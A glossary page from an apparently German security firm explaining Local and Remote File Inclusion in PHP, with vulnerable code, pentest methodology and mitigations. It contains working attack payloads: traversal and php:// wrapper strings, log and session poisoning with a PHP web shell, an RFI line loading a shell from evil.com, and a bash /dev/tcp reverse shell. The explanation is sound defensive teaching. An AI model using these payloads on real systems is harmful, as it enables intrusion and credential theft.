Skip to content

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Schwachstellenklassen Glossary

LFI/RFI - Local File Inclusion und Remote File Inclusion

File inclusion vulnerabilities occur when web applications use filenames from user input in file-loading functions without sufficient validation. LFI (Local File Inclusion) reads local server files such as /etc/passwd or log files. RFI (Remote File Inclusion) includes external URLs, thereby enabling remote code execution. These are common attack vectors in PHP applications. Protection: Input validation, allow_url_include=Off, basename() normalization.

File Inclusion is a class of vulnerabilities that occurs almost exclusively in PHP applications when filenames from user input are used in include(), require(), include_once(), or require_once(). LFI (Local File Inclusion) reads local files; RFI (Remote File Inclusion) loads and executes external URLs—both can lead to complete system compromise.

The Basic Principle

Vulnerable PHP code (classic):

<?php
$page = $_GET['page'];
include($page . '.php');
// URL: https://site.com/?page=contact
// → include('contact.php')  - normal
// URL: https://site.com/?page=/etc/passwd
// → include('/etc/passwd.php')  - Fehler (Endung fehlt)
// URL: https://site.com/?page=/etc/passwd%00
// → include('/etc/passwd')  - Nullbyte-Truncation (PHP < 5.3.4!)

// Noch gefährlicher (ohne Endung):
$page = $_GET['page'];
include($page);
// Kein automatisches .php anhängen
// → jede Datei auf dem Server einlesbar!

Typische anfällige Parameter-Namen: ?page=, ?file=, ?lang=, ?include=, ?template=, ?module=, ?view=, ?content=, ?path=, ?doc=

LFI - Local File Inclusion

Ziel-Dateien auf Linux/Unix

  • /etc/passwd - Benutzerliste (kein Passwort, nur System-User)
  • /etc/shadow - Passwort-Hashes (root-Rechte nötig, seltener lesbar)
  • /etc/hosts - Netzwerkkonfiguration
  • /proc/self/environ - Umgebungsvariablen (inkl. Secrets!)
  • /proc/self/cmdline - Startkommando des Prozesses
  • /var/log/apache2/access.log - Apache-Logs (für Log-Poisoning!)
  • /var/log/nginx/error.log
  • ~/.ssh/id_rsa - SSH Private Key
  • ~/.aws/credentials - AWS Access Keys
  • /var/www/html/config.php - Datenbank-Passwörter

Ziel-Dateien auf Windows

  • C:\Windows\System32\drivers\etc\hosts
  • C:\xampp\htdocs\config.php
  • C:\inetpub\wwwroot\web.config

Path-Traversal-Kombination mit LFI

?page=../../etc/passwd
?page=....//....//etc/passwd  (Bypass-Technik)
?page=%2e%2e%2fetc%2fpasswd  (URL-encoding)

PHP-Wrapper (mächtige LFI-Erweiterung)

# Datei als Base64 lesen (nicht-executable, umgeht Sandbox!):
?page=php://filter/convert.base64-encode/resource=config.php
# Response: PD9waHAgJHBhc3N3b3...  (Base64 von config.php!)
# Decode: echo "PD9w..." | base64 -d → Klartext-PHP mit DB-Credentials

# Input-Wrapper:
?page=php://input
# POST-Body: <?php system('id'); ?>
 Remote Code Execution via LFI!

# Data wrapper:
?page=data://text/plain;base64,PHBocCBzeXN0ZW0oJ2lkJyk7ID8+
# → RCE if allow_url_include = On!

Log Poisoning - LFI to RCE

Step 1 - Inject PHP code into logs

GET /<?php system($_GET['cmd']); ?>
HTTP/1.1
User-Agent:<?php system($_GET['cmd']); ?>

Nginx/Apache logs this request to access.log.

Step 2 - Embed log via LFI

?page=/var/log/nginx/access.log&amp;cmd;=id

PHP reads the access.log, interprets the embedded code, and executes system(&#x27;id&#x27;)uid=33(www-data) → Remote Code Execution.

Other Log Files for Log Poisoning

  • /var/log/auth.log - SSH login attempts → Inject PHP into the username
  • /proc/self/fd/0 - Process STDIN
  • /tmp/sess_SESSIONID - PHP session files

Session Poisoning

Cookie: PHPSESSID=abc123
→ Session file: /tmp/sess_abc123
→ Session content: username|s:7:&quot;<?php system('id');?>
&quot;;
→ ?page=/tmp/sess_abc123 → RCE!

RFI - Remote File Inclusion

RFI requires allow_url_include = On in php.ini (default since PHP 5: Off).

Attack

# 1. Attacker hosts PHP backdoor:
# http://evil.com/shell.txt contains:
# 
<?php system($_GET['cmd']); ?>

# 2. Exploit RFI:
# https://target.com/?page=http://evil.com/shell.txt&amp;cmd;=id
# → PHP loads evil.com/shell.txt
# → Executes code: system(&#x27;id&#x27;)
# → Output: uid=33(www-data) gid=33(www-data)

# 3. Reverse shell via RFI:
# evil.com/shell.txt:<?php system('bash -i >
&amp; /dev/tcp/10.0.0.1/4444 0&gt;&amp;1&#x27;); ?&gt;
# → Attacker gains an interactive shell!

SMB/UNC Paths (Windows)

?page=\\evil.com\share\shell.php
→ Windows makes an SMB request → NTLM hash leak!

Detection in a Penetration Test

LFI/RFI Testing Methodology

1. Parameter Discovery

Identify all GET/POST parameters; look for: page=, file=, lang=, include=, template=, view=. Burp Suite Spider + parameter analysis.

2. Basic LFI Tests

# Linux Standard:
?page=/etc/passwd
?page=../../etc/passwd
?page=/etc/passwd%00  (for PHP &lt; 5.3.4)

# PHP Wrapper:
?page=php://filter/convert.base64-encode/resource=index.php
# If Base64 response: LFI confirmed!

3. Automated with LFISuite/LFImap

python lfisuite.py
# Automatic tests: Path traversal, wrappers, log poisoning

4. Wazuh/OWASP ZAP

Active Scan → File Inclusion → Automatic tests

5. RFI test

# Test with external HTTPS request:
?page=http://burpcollaborator.net/
# In Burp Collaborator: DNS query → RFI possible!

6. Confirmation of RCE (only with explicit scope!)

?page=php://input  # POST with:<?php phpinfo(); ?>
# phpinfo() output → RCE confirmed

Mitigation Measures

1. Whitelist-based Include (best method)

// WRONG:
include($_GET[&#x27;page&#x27;] . &#x27;.php&#x27;);

// CORRECT - Whitelist!
$allowed_pages = [&#x27;home&#x27;, &#x27;about&#x27;, &#x27;contact&#x27;, &#x27;services&#x27;];
$page = $_GET[&#x27;page&#x27;] ?? &#x27;home&#x27;;

if (!in_array($page, $allowed_pages)) {
  $page = &#x27;home&#x27;;  // safe default
}
include($page . &#x27;.php&#x27;);
// No user input directly in include()!

2. When dynamic include is unavoidable

// basename() removes path traversal:
$page = basename($_GET[&#x27;page&#x27;]);
// &quot;../../etc/passwd&quot; becomes &quot;passwd&quot;

// realpath() + startsWith check:
$allowed_dir = &#x27;/var/www/html/pages/&#x27;;
$page = realpath($allowed_dir . basename($_GET[&#x27;page&#x27;]) . &#x27;.php&#x27;);
if (!str_starts_with($page, $allowed_dir)) {
  die(&#x27;Invalid page&#x27;);
}
include($page);

3. Harden PHP configuration

; php.ini:
allow_url_include = Off   ; CRITICAL! prevents RFI
allow_url_fopen = Off     ; if not needed
open_basedir = /var/www/html:/tmp  ; File system jail

4. Protect logs (against log poisoning)

  • Store logs outside the web root
  • PHP cannot read logs (open_basedir)
  • Use structured logging (no raw user input in logs)

5. Use a template engine instead of include()

  • Twig, Blade, Smarty: no PHP execution in templates
  • Keep templates out of reach of user input

6. ModSecurity WAF rules

  • OWASP CRS: LFI/RFI signatures
  • Blocks known path traversal sequences
  • Complements code fixes; does not replace them